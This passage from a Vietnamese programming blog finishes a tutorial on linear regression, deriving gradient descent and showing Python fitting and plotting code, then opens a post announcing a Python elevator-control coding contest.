<p>Phương pháp chính xác không còn có thể được dùng nữa vì bây giờ ta có 4 điểm, và chúng không nằm trên cùng một đường thẳng nào cả.</p>
<div class="figure">
<img alt="" src="/static/machine-learning/linear-reg-2.png" />
<p class="caption">Không có đường thẳng nào đi qua 4 điểm này</p>
<div class="legend">
<div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="n">xs</span> <span class="o">=</span> <span class="p">[</span><span class="o">-</span><span class="mi">2</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">]</span>
<span class="n">ys</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">3</span><span class="p">,</span> <span class="o">-</span><span class="mi">4</span><span class="p">,</span> <span class="o">-</span><span class="mi">3</span><span class="p">]</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">xs</span><span class="p">,</span> <span class="n">ys</span><span class="p">,</span> <span class="s1">'bo'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">savefig</span><span class="p">(</span><span class="s1">'linear-reg-2.png'</span><span class="p">)</span>
</pre></div>
</div>
</div>
<p>Do đó, chúng ta sẽ chấp nhận có sai số trong việc hồi quy để tìm ra mối quan hệ tuyến tính giữa các điểm đầu vào.</p>
<p>Chúng ta giả sử rằng mối quan hệ tìm được là <span class="math">\(\hat{y} = \theta_1 x_1 + \theta_0 x_0\)</span>, với giá trị <span class="math">\(x_0 = 1\)</span>. Ký hiệu <span class="math">\(\hat{y}\)</span> đọc là "y mũ" để phân biệt với "y thường", và thường được dùng để nhấn mạnh đây là giá trị phỏng đoán, không phải giá trị thực.</p>
<p>Sai số giữa <span class="math">\(\hat{y}\)</span> và <span class="math">\(y\)</span> đơn giản là <span class="math">\(\hat{y} - y\)</span>. Để không phải quan tâm <span class="math">\(\hat{y}\)</span> lớn hơn, hay nhỏ hơn <span class="math">\(y\)</span>, ta sẽ dùng bình phương của sai số <span class="math">\((\hat{y} - y)^2\)</span>.</p>
<p>Với mỗi giá trị đầu vào, ta sẽ có sai số cho dòng đó. Tổng bình phương sai số (residual sum of squares, sum of squared residuals, sum of squared errors) của các dòng đầu vào thể hiện độ khớp giữa mối quan hệ tìm được, và mối quan hệ thật sự (mà chúng ta không biết). Do đó, mục tiêu của chúng ta là tìm các tham số <span class="math">\(\theta_1, \theta_0\)</span> sao cho tổng bình phương sai số của các điểm là nhỏ nhất.</p>
<p>Gọi <span class="math">\(\vec{\theta} = (\theta_0, \theta_1)\)</span> là biểu diễn dạng véc tơ của hai giá trị <span class="math">\(\theta_1, \theta_0\)</span>. Hàm mất mát (loss function, cost function) của phương pháp hồi quy tuyến tính có dạng:</p>
<div class="math">
\begin{equation*}
\mathcal{L}(\vec{\theta}) = \sum_{i=0}^3 \left( \hat{y}^{(i)} - y^{(i)} \right)^2
\end{equation*}
</div>
<p>Nhưng vì chúng ta chỉ quan tâm đến việc tìm giá trị cực tiểu của hàm mất mát, người ta thường nhân với <span class="math">\(\frac{1}{2}\)</span> để khi lấy đạo hàm thì bình phương sẽ khử đi <span class="math">\(\frac{1}{2}\)</span> và công thức nhìn đẹp hơn:</p>
<div class="math">
\begin{equation*}
\mathcal{L}(\vec{\theta}) = \frac{1}{2} \sum_{i=0}^3 \left( \hat{y}^{(i)} - y^{(i)} \right)^2
\end{equation*}
</div>
<p>(Ngoài ra, nhiều tài liệu còn chia cho số dòng trong bảng đầu vào (tức là lấy trung bình cộng) để làm cho phép tính số thực trên máy tính được chính xác hơn.)</p>
<p>Ta cần tìm một véc tơ <span class="math">\(\vec{\theta_{min}}\)</span> sao cho <span class="math">\(\mathcal{L}(\vec{\theta_{min}})\)</span> có giá trị cực tiểu.</p>
<p>Sử dụng ký hiệu <span class="math">\(\mathop{\mathrm{arg\,min}}_x f(x)\)</span> để biểu diễn một hàm trả về giá trị <span class="math">\(x\)</span> mà tại đó giá trị của <span class="math">\(f(x)\)</span> là nhỏ nhất, chúng ta viết lại mục tiêu của chúng ta như sau:</p>
<div class="math">
\begin{equation*}
\vec{\theta_{min}} = \mathop{\mathrm{arg\,min}}_{\vec{\theta}} \mathcal{L}(\vec{\theta}) = \mathop{\mathrm{arg\,min}}_{\vec{\theta}} \cfrac{1}{2} \sum_{i=0}^3 \left( \hat{y}^{(i)} - y^{(i)} \right)^2
\end{equation*}
</div>
<p>Một trong những cách để tìm <span class="math">\(\vec{\theta_{min}}\)</span> là tính đạo hàm bậc nhất của <span class="math">\(\mathcal{L}(\vec{\theta})\)</span> theo <span class="math">\(\vec{\theta}\)</span> và giải phương trình để đạo hàm đó đạt giá trị 0. Tuy nhiên, cách làm này nằm ngoài phạm vi Toán phổ thông, và cần phải đến chương trình đại học đại cương về Đại số tuyến tính (Linear Algebra) và Giải tích ma trận (Matrix Calculus) chúng ta mới có thể làm.</p>
<p>Một cách khác để tìm <span class="math">\(\vec{\theta_{min}}\)</span> là sử dụng kỹ thuật xuống dốc (gradient descent). Kỹ thuật xuống dốc có thể được sử dụng ở đây vì hàm mất mát trong trường hợp này chỉ có một cực trị toàn cục (global optimum) (và cực trị này là cực tiểu) cho nên kỹ thuật xuống dốc được đảm bảo sẽ hội tụ (converge) đến giá trị đấy. Kỹ thuật này sẽ được giải thích cặn kẽ hơn trong một bài viết khác. Ở đây, chúng ta chỉ cần tính đạo hàm riêng (partial derivative) của <span class="math">\(\mathcal{L}(\vec{\theta})\)</span> theo từng biến thành phần <span class="math">\(\theta_1, \theta_0\)</span> để cập nhật lại chính các biến đó.</p>
<p>Với <span class="math">\(j \in \{ 0, 1 \}\)</span>, công thức cập nhật <span class="math">\(\theta_j\)</span> được cho bởi:</p>
<div class="math">
\begin{equation*}
\theta_j^{(t+1)} = \theta_j^{(t)} - \alpha \times \cfrac{\partial}{\partial \theta_j} \mathcal{L}(\vec{\theta^{(t)}})
\end{equation*}
</div>
<p>Hệ số <span class="math">\(\alpha\)</span> được gọi là tốc độ học (learning rate). Nhiều tài liệu sử dụng <span class="math">\(\gamma\)</span> hoặc <span class="math">\(\eta\)</span> thay cho <span class="math">\(\alpha\)</span> trong công thức trên, nhưng chúng đều có ý nghĩa như nhau cả.</p>
<p>Đạo hàm riêng của <span class="math">\(\mathcal{L}(\vec{\theta})\)</span> theo <span class="math">\(\theta_j\)</span>:</p>
<div class="math">
\begin{align*}
\cfrac{\partial}{\partial \theta_j} \mathcal{L}(\vec{\theta}) &= \cfrac{1}{2} \cfrac{\partial}{\partial \theta_j} \sum_{i=0}^3 \left( \hat{y}^{(i)} - y^{(i)} \right)^2 \\
&= \sum_{i=0}^3 \left( \hat{y}^{(i)} - y^{(i)} \right) \cfrac{\partial}{\partial \theta_j} \left( \hat{y}^{(i)} - y^{(i)} \right) \\
&= \sum_{i=0}^3 \left( \hat{y}^{(i)} - y^{(i)} \right) \cfrac{\partial}{\partial \theta_j} \hat{y}^{(i)} \\
&= \sum_{i=0}^3 \left( \hat{y}^{(i)} - y^{(i)} \right) \cfrac{\partial}{\partial \theta_j} \left( \theta_1 x_1^{(i)} + \theta_0 x_0^{(i)} \right) \\
&= \sum_{i=0}^3 \left( \hat{y}^{(i)} - y^{(i)} \right) x_j^{(i)}
\end{align*}
</div>
<p>Ráp vào công thức cập nhật <span class="math">\(\theta_j\)</span>:</p>
<div class="math">
\begin{equation*}
\theta_j^{(t+1)} = \theta_j^{(t)} + \alpha \times \sum_{i=0}^3 \left( y^{(i)} - \hat{y}^{(i)} \right) x_j^{(i)}
\end{equation*}
</div>
<p>Như vậy, toàn bộ việc giải ra <span class="math">\(\vec{\theta}\)</span> được tóm lại ở hai bước:</p>
<ol class="arabic simple">
<li>Khởi tạo các giá trị <span class="math">\(\theta_0, \theta_1\)</span> ngẫu nhiên.</li>
<li>Trong khi vẫn chưa hội tụ thì cập nhật <span class="math">\(\theta_0, \theta_1\)</span> theo công thức trên.</li>
</ol>
<p>Điều kiện hội tụ có thể gồm một hoặc vài điều kiện sau:</p>
<ol class="arabic simple">
<li>Giá trị hàm mất mát chỉ thay đổi rất ít.</li>
<li>Giá trị của <span class="math">\(\vec{\theta}\)</span> thay đổi rất ít.</li>
<li>Số lần lặp vượt quá một giới hạn nào đó.</li>
<li>Hoặc các điều kiện khác tùy vào khả năng sáng tạo.</li>
</ol>
<p>Ta sẽ cài đặt ý tưởng của phương pháp hồi quy tuyến tính như sau:</p>
<div class="highlight"><pre><span></span><span class="c1"># Bảng đầu vào.</span>
<span class="n">xs</span> <span class="o">=</span> <span class="p">[(</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">2</span><span class="p">),</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">)]</span> <span class="c1"># (x_0, x_1)</span>
<span class="n">ys</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">3</span><span class="p">,</span> <span class="o">-</span><span class="mi">4</span><span class="p">,</span> <span class="o">-</span><span class="mi">3</span><span class="p">]</span> <span class="c1"># y</span>
<span class="c1"># Khởi tạo theta là vec tơ (0, 0).</span>
<span class="n">theta</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="nb">len</span><span class="p">(</span><span class="n">xs</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
<span class="c1"># Định tốc độ học.</span>
<span class="n">alpha</span> <span class="o">=</span> <span class="mf">0.01</span>
<span class="c1"># Điều kiện hội tụ là lặp 1000 lần.</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">1000</span><span class="p">):</span>
<span class="n">theta_new</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="nb">len</span><span class="p">(</span><span class="n">theta</span><span class="p">)</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">theta</span><span class="p">)):</span>
<span class="c1"># Tính độ dốc theo theta_j.</span>
<span class="n">gradient</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">ys</span><span class="p">)):</span>
<span class="n">y_hat</span> <span class="o">=</span> <span class="n">theta</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">*</span> <span class="n">xs</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span> <span class="n">theta</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="n">xs</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">0</span><span class="p">]</span>
<span class="n">gradient</span> <span class="o">+=</span> <span class="p">(</span><span class="n">ys</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">-</span> <span class="n">y_hat</span><span class="p">)</span> <span class="o">*</span> <span class="n">xs</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">]</span>
<span class="c1"># Cập nhật theta.</span>
<span class="n">theta_new</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="n">theta</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">+</span> <span class="n">alpha</span> <span class="o">*</span> <span class="n">gradient</span>
<span class="n">theta</span> <span class="o">=</span> <span class="n">theta_new</span>
<span class="nb">print</span><span class="p">(</span><span class="n">theta</span><span class="p">)</span>
</pre></div>
<p>Kết quả thực thi sẽ là:</p>
<pre class="literal-block">
[-2.9999999999982405, -0.9999999999989124]
</pre>
<p>Tức là mối quan hệ tuyến tính giữa 4 điểm là <span class="math">\(\hat{y} = -3.0 \times x_1 + -1.0\)</span>. Mối quan hệ này được thể hiện qua đồ thị bên dưới.</p>
<div class="figure">
<img alt="" src="/static/machine-learning/linear-reg-3.png" />
<p class="caption">Đường khớp dữ liệu <span class="math">\(\theta_0 = -3.0\)</span> và <span class="math">\(\theta_1 = -1.0\)</span></p>
<div class="legend">
<div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="n">xs</span> <span class="o">=</span> <span class="p">[</span><span class="o">-</span><span class="mi">2</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">]</span>
<span class="n">ys</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">3</span><span class="p">,</span> <span class="o">-</span><span class="mi">4</span><span class="p">,</span> <span class="o">-</span><span class="mi">3</span><span class="p">]</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">xs</span><span class="p">,</span> <span class="n">ys</span><span class="p">,</span> <span class="s1">'bo'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="nb">min</span><span class="p">(</span><span class="n">xs</span><span class="p">),</span> <span class="nb">max</span><span class="p">(</span><span class="n">xs</span><span class="p">)],</span>
<span class="p">[</span><span class="o">-</span><span class="mf">1.0</span> <span class="o">*</span> <span class="nb">min</span><span class="p">(</span><span class="n">xs</span><span class="p">)</span> <span class="o">-</span> <span class="mf">3.0</span><span class="p">,</span> <span class="o">-</span><span class="mf">1.0</span> <span class="o">*</span> <span class="nb">max</span><span class="p">(</span><span class="n">xs</span><span class="p">)</span> <span class="o">-</span> <span class="mf">3.0</span><span class="p">],</span> <span class="s1">'g--'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">savefig</span><span class="p">(</span><span class="s1">'linear-reg-3.png'</span><span class="p">)</span>
</pre></div>
</div>
</div>
</div>
</div>
<div class="section" id="xay-dung-thuoc-tinh-feature-engineering">
<h2>Xây dựng thuộc tính (feature engineering)</h2>
<p>Mặc dù phương pháp hồi quy tuyến tính giả định mối quan hệ tuyến tính, chúng ta vẫn có thể tìm được các mối quan hệ đa thức bậc cao, hoặc phi tuyến. Tính chất tuyến tính chỉ là giữa biến phụ thuộc và biến độc lập, còn giữa các biến độc lập với nhau thì chúng có thể có những quan hệ phi tuyến.</p>
<p>Xét ví dụ trong mục ở trên, với bốn điểm không thẳng hàng.</p>
<table border="1" class="docutils">
<colgroup>
<col width="17%" />
<col width="46%" />
<col width="38%" />
</colgroup>
<thead valign="bottom">
<tr><th class="head">Dòng</th>
<th class="head"><span class="math">\(x_1\)</span></th>
<th class="head"><span class="math">\(y\)</span></th>
</tr>
</thead>
<tbody valign="top">
<tr><td>0</td>
<td>-2</td>
<td>0</td>
</tr>
<tr><td>1</td>
<td>-1</td>
<td>-3</td>
</tr>
<tr><td>2</td>
<td>0</td>
<td>-4</td>
</tr>
<tr><td>3</td>
<td>1</td>
<td>-3</td>
</tr>
</tbody>
</table>
<p>Ta có thể thêm một cột <span class="math">\(x_2 = x_1^2\)</span> để có bảng:</p>
<table border="1" class="docutils">
<colgroup>
<col width="11%" />
<col width="31%" />
<col width="31%" />
<col width="26%" />
</colgroup>
<thead valign="bottom">
<tr><th class="head">Dòng</th>
<th class="head"><span class="math">\(x_2\)</span></th>
<th class="head"><span class="math">\(x_1\)</span></th>
<th class="head"><span class="math">\(y\)</span></th>
</tr>
</thead>
<tbody valign="top">
<tr><td>0</td>
<td>4</td>
<td>-2</td>
<td>0</td>
</tr>
<tr><td>1</td>
<td>1</td>
<td>-1</td>
<td>-3</td>
</tr>
<tr><td>2</td>
<td>0</td>
<td>0</td>
<td>-4</td>
</tr>
<tr><td>3</td>
<td>1</td>
<td>1</td>
<td>-3</td>
</tr>
</tbody>
</table>
<p>Chúng ta muốn tìm quan hệ <span class="math">\(\hat{y} = \theta_2 x_2 + \theta_1 x_1 + \theta_0 x_0\)</span> với <span class="math">\(x_0 = 1\)</span>. Và chúng ta chỉ cần sửa một chút mã nguồn trong phần trên:</p>
<div class="highlight"><pre><span></span><span class="c1"># Bảng đầu vào.</span>
<span class="n">xs</span> <span class="o">=</span> <span class="p">[(</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">2</span><span class="p">,</span> <span class="mi">4</span><span class="p">),</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">),</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">),</span> <span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">1</span><span class="p">)]</span> <span class="c1"># (x_0, x_1, x_2)</span>
<span class="n">ys</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">3</span><span class="p">,</span> <span class="o">-</span><span class="mi">4</span><span class="p">,</span> <span class="o">-</span><span class="mi">3</span><span class="p">]</span> <span class="c1"># y</span>
<span class="c1"># Khởi tạo theta là vec tơ (0, 0, 0).</span>
<span class="n">theta</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="nb">len</span><span class="p">(</span><span class="n">xs</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span>
<span class="c1"># Định tốc độ học.</span>
<span class="n">alpha</span> <span class="o">=</span> <span class="mf">0.01</span>
<span class="c1"># Điều kiện hội tụ là lặp 10000 lần.</span>
<span class="k">for</span> <span class="n">_</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10000</span><span class="p">):</span>
<span class="n">theta_new</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="nb">len</span><span class="p">(</span><span class="n">theta</span><span class="p">)</span>
<span class="k">for</span> <span class="n">j</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">theta</span><span class="p">)):</span>
<span class="c1"># Tính độ dốc theo theta_j.</span>
<span class="n">gradient</span> <span class="o">=</span> <span class="mi">0</span>
<span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">len</span><span class="p">(</span><span class="n">ys</span><span class="p">)):</span>
<span class="n">y_hat</span> <span class="o">=</span> <span class="p">(</span><span class="n">theta</span><span class="p">[</span><span class="mi">2</span><span class="p">]</span> <span class="o">*</span> <span class="n">xs</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">2</span><span class="p">]</span> <span class="o">+</span>
<span class="n">theta</span><span class="p">[</span><span class="mi">1</span><span class="p">]</span> <span class="o">*</span> <span class="n">xs</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">1</span><span class="p">]</span> <span class="o">+</span>
<span class="n">theta</span><span class="p">[</span><span class="mi">0</span><span class="p">]</span> <span class="o">*</span> <span class="n">xs</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="mi">0</span><span class="p">])</span>
<span class="n">gradient</span> <span class="o">+=</span> <span class="p">(</span><span class="n">ys</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">-</span> <span class="n">y_hat</span><span class="p">)</span> <span class="o">*</span> <span class="n">xs</span><span class="p">[</span><span class="n">i</span><span class="p">][</span><span class="n">j</span><span class="p">]</span>
<span class="c1"># Cập nhật theta.</span>
<span class="n">theta_new</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">=</span> <span class="n">theta</span><span class="p">[</span><span class="n">j</span><span class="p">]</span> <span class="o">+</span> <span class="n">alpha</span> <span class="o">*</span> <span class="n">gradient</span>
<span class="n">theta</span> <span class="o">=</span> <span class="n">theta_new</span>
<span class="nb">print</span><span class="p">(</span><span class="n">theta</span><span class="p">)</span>
</pre></div>
<p>Kết quả nhận được:</p>
<pre class="literal-block">
[-3.999999999999987, -4.7184218854317494e-15, 0.9999999999999933]
</pre>
<p>Hay viết cách khác <span class="math">\(\hat{y} = 1.0 \times x_2 - 0.0 \times x_1 - 4.0\)</span>. Vì <span class="math">\(x_2 = x_1^2\)</span>, quan hệ này là <span class="math">\(\hat{y} = x_1^2 - 4.0\)</span>, rõ ràng là một đường pa-ra-bôn nhị thức bậc hai.</p>
<div class="figure">
<img alt="" src="/static/machine-learning/linear-reg-4.png" />
<p class="caption">Đường pa-ra-bôn đi qua bốn điểm, cũng chính là mối quan hệ thực giữa <span class="math">\(y\)</span> và <span class="math">\(x_1\)</span>.</p>
<div class="legend">
<div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">matplotlib</span> <span class="kn">import</span> <span class="n">pyplot</span> <span class="k">as</span> <span class="n">plt</span>
<span class="n">xs</span> <span class="o">=</span> <span class="p">[</span><span class="o">-</span><span class="mi">2</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">]</span>
<span class="n">ys</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="o">-</span><span class="mi">3</span><span class="p">,</span> <span class="o">-</span><span class="mi">4</span><span class="p">,</span> <span class="o">-</span><span class="mi">3</span><span class="p">]</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">(</span><span class="n">xs</span><span class="p">,</span> <span class="n">ys</span><span class="p">,</span> <span class="s1">'bo'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">plot</span><span class="p">([</span><span class="n">x</span> <span class="o">/</span> <span class="mf">100.0</span> <span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">min</span><span class="p">(</span><span class="n">xs</span><span class="p">)</span> <span class="o">*</span> <span class="mi">100</span><span class="p">,</span> <span class="nb">max</span><span class="p">(</span><span class="n">xs</span><span class="p">)</span> <span class="o">*</span> <span class="mi">100</span><span class="p">)],</span>
<span class="p">[(</span><span class="n">x</span> <span class="o">/</span> <span class="mf">100.0</span><span class="p">)</span><span class="o">**</span><span class="mi">2</span> <span class="o">-</span> <span class="mf">4.0</span>
<span class="k">for</span> <span class="n">x</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="nb">min</span><span class="p">(</span><span class="n">xs</span><span class="p">)</span> <span class="o">*</span> <span class="mi">100</span><span class="p">,</span> <span class="nb">max</span><span class="p">(</span><span class="n">xs</span><span class="p">)</span> <span class="o">*</span> <span class="mi">100</span><span class="p">)],</span>
<span class="s1">'g--'</span><span class="p">)</span>
<span class="n">plt</span><span class="o">.</span><span class="n">savefig</span><span class="p">(</span><span class="s1">'linear-reg-4.png'</span><span class="p">)</span>
</pre></div>
</div>
</div>
<p>Việc thêm cột vào bảng như chúng ta đã làm được gọi là xây dựng thuộc tính (feature engineering). Chúng ta tạo ra một thuộc tính mới, hoặc cắt bỏ đi các thuộc tính đã có nhằm giúp cho mô hình của chúng ta khớp (fit) tốt hơn với dữ liệu, hoặc đạt được một số tính chất nào đó mà chúng ta cần. Công việc xây dựng thuộc tính rất phụ thuộc vào kinh nghiệm, và sự tinh tế của người làm. Đau lòng mà nói thì nó mang tính chất <em>mò</em> và <em>hên</em> rất nhiều.</p>
</div>
<div class="section" id="tom-tat">
<h2>Tóm tắt</h2>
<p>Bài viết này giới thiệu tổng quát về máy học, và xây dựng nên kỹ thuật hồi quy tuyến tính từ nền tảng. Thông qua kỹ thuật đơn giản nhưng rất phổ dụng này, chúng ta biết đến khái niệm hàm mất mát và bài toán máy học được chuyển về bài toán tối ưu hàm mất mát. Ở bài viết kế tiếp, chúng ta sẽ nói kỹ hơn về kỹ thuật xuống dốc đã được sử dụng trong việc tìm điểm cực tiểu này.</p>
</div>
<div class="section" id="tai-lieu-doc-them">
<h2>Tài liệu đọc thêm</h2>
<ol class="arabic simple">
<li><a class="reference external" href="http://cs229.stanford.edu/notes/cs229-notes1.pdf">Tài liệu giảng</a> trong môn <a class="reference external" href="http://cs229.stanford.edu">CS229 Machine Learning</a> do Dan Boneh và Andrew Ng dạy ở đại học Stanford.</li>
<li><a class="reference external" href="https://machinelearningcoban.com/2016/12/28/linearregression/">Bài 3: Linear Regression</a> ở trang mạng <a class="reference external" href="https://machinelearningcoban.com">Machine Learning cơ bản</a> của Vũ Hữu Tiệp ở Đại học bang Pennsylvania (Pennsylvania State University), Hoa Kỳ.</li>
<li><a class="reference external" href="https://ongxuanhong.wordpress.com/2015/07/28/scikit-learn-linear-regression/">Scikit-learn: Linear regression</a> ở trang mạng của <a class="reference external" href="https://ongxuanhong.wordpress.com">Ông Xuân Hồng</a>.</li>
</ol>
</div>
<script type='text/javascript'>if (!document.getElementById('mathjaxscript_pelican_#%@#$@#')) {
var align = "center",
indent = "0em",
linebreak = "false";
if (false) {
align = (screen.width < 768) ? "left" : align;
indent = (screen.width < 768) ? "0em" : indent;
linebreak = (screen.width < 768) ? 'true' : linebreak;
}
var mathjaxscript = document.createElement('script');
mathjaxscript.id = 'mathjaxscript_pelican_#%@#$@#';
mathjaxscript.type = 'text/javascript';
mathjaxscript.src = 'https://cdnjs.cloudflare.com/ajax/libs/mathjax/2.7.3/latest.js?config=TeX-AMS-MML_HTMLorMML';
mathjaxscript[(window.opera ? "innerHTML" : "text")] =
"MathJax.Hub.Config({" +
" config: ['MMLorHTML.js']," +
" TeX: { extensions: ['AMSmath.js','AMSsymbols.js','noErrors.js','noUndefined.js'], equationNumbers: { autoNumber: 'AMS' } }," +
" jax: ['input/TeX','input/MathML','output/HTML-CSS']," +
" extensions: ['tex2jax.js','mml2jax.js','MathMenu.js','MathZoom.js']," +
" displayAlign: '"+ align +"'," +
" displayIndent: '"+ indent +"'," +
" showMathMenu: true," +
" messageStyle: 'normal'," +
" tex2jax: { " +
" inlineMath: [ ['\\\\(','\\\\)'] ], " +
" displayMath: [ ['$$','$$'] ]," +
" processEscapes: true," +
" preview: 'TeX'," +
" }, " +
" 'HTML-CSS': { " +
" styles: { '.MathJax_Display, .MathJax .mo, .MathJax .mi, .MathJax .mn': {color: 'inherit ! important'} }," +
" linebreaks: { automatic: "+ linebreak +", width: '90% container' }," +
" }, " +
"}); " +
"if ('default' !== 'default') {" +
"MathJax.Hub.Register.StartupHook('HTML-CSS Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax['HTML-CSS'].FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"MathJax.Hub.Register.StartupHook('SVG Jax Ready',function () {" +
"var VARIANT = MathJax.OutputJax.SVG.FONTDATA.VARIANT;" +
"VARIANT['normal'].fonts.unshift('MathJax_default');" +
"VARIANT['bold'].fonts.unshift('MathJax_default-bold');" +
"VARIANT['italic'].fonts.unshift('MathJax_default-italic');" +
"VARIANT['-tex-mathit'].fonts.unshift('MathJax_default-italic');" +
"});" +
"}";
(document.body || document.getElementsByTagName('head')[0]).appendChild(mathjaxscript);
}
</script>Điều khiển thang máy2016-06-23T13:58:00+07:002016-06-23T13:58:00+07:00Nhóm PCNVtag:None,2016-06-23:2016/06/dieu-khien-thang-may.html<p><strong>Cập nhật:</strong> Do số lượng bài tham gia vẫn còn ít (dẫn đến cuộc thi đua không còn thú vị nữa) nên ban tổ chức dời lại hạn nộp bài đến <strong>hết ngày 21 tháng 07</strong>.</p>
<p>Nhân việc PyCon vừa qua, nhóm PCNV hân hạnh tổ chức cuộc thi <strong>Điều …</strong></p><p><strong>Cập nhật:</strong> Do số lượng bài tham gia vẫn còn ít (dẫn đến cuộc thi đua không còn thú vị nữa) nên ban tổ chức dời lại hạn nộp bài đến <strong>hết ngày 21 tháng 07</strong>.</p>
<p>Nhân việc PyCon vừa qua, nhóm PCNV hân hạnh tổ chức cuộc thi <strong>Điều khiển thang máy!</strong></p>
<p>Tương tự như cuộc thi <a class="reference external" href="http://www.vithon.org/2010/11/26/tranh-tai-bắn-suồng">Bắn suồng</a>, cuộc thi <strong>Điều khiển thang máy</strong> cũng là một cuộc thi lập trình <strong>Python</strong> và có một số điều lệ sau:</p>
<ol class="arabic simple">
<li>Trò chơi được giới thiệu tại <a class="reference external" href="http://codelift.org">http://codelift.org</a>. Người tham dự có thể thử mã của mình tại trang mạng đó.</li>
<li>Người tham gia phải nộp mã Python (tập tin <strong>.py</strong>) tới <strong>admin+codelift@vithon.org</strong>, và đồng ý với việc nhóm PCNV có toàn quyền sử dụng mã đó cho mọi mục đích.</li>
<li>Người tham gia cũng phải gửi thêm một bài viết (dưới dạng <strong>.txt</strong>) giới thiệu trò chơi, và cách giải của mình đến cùng địa chỉ thư trên.</li>
<li>Hạn nhận bài là <strong>ngày 14 tháng 07 năm 2016.</strong></li>
<li>Bài thi sẽ được đọc qua trước, và sẽ được chạy trên cùng hệ thống codelift.org.</li>
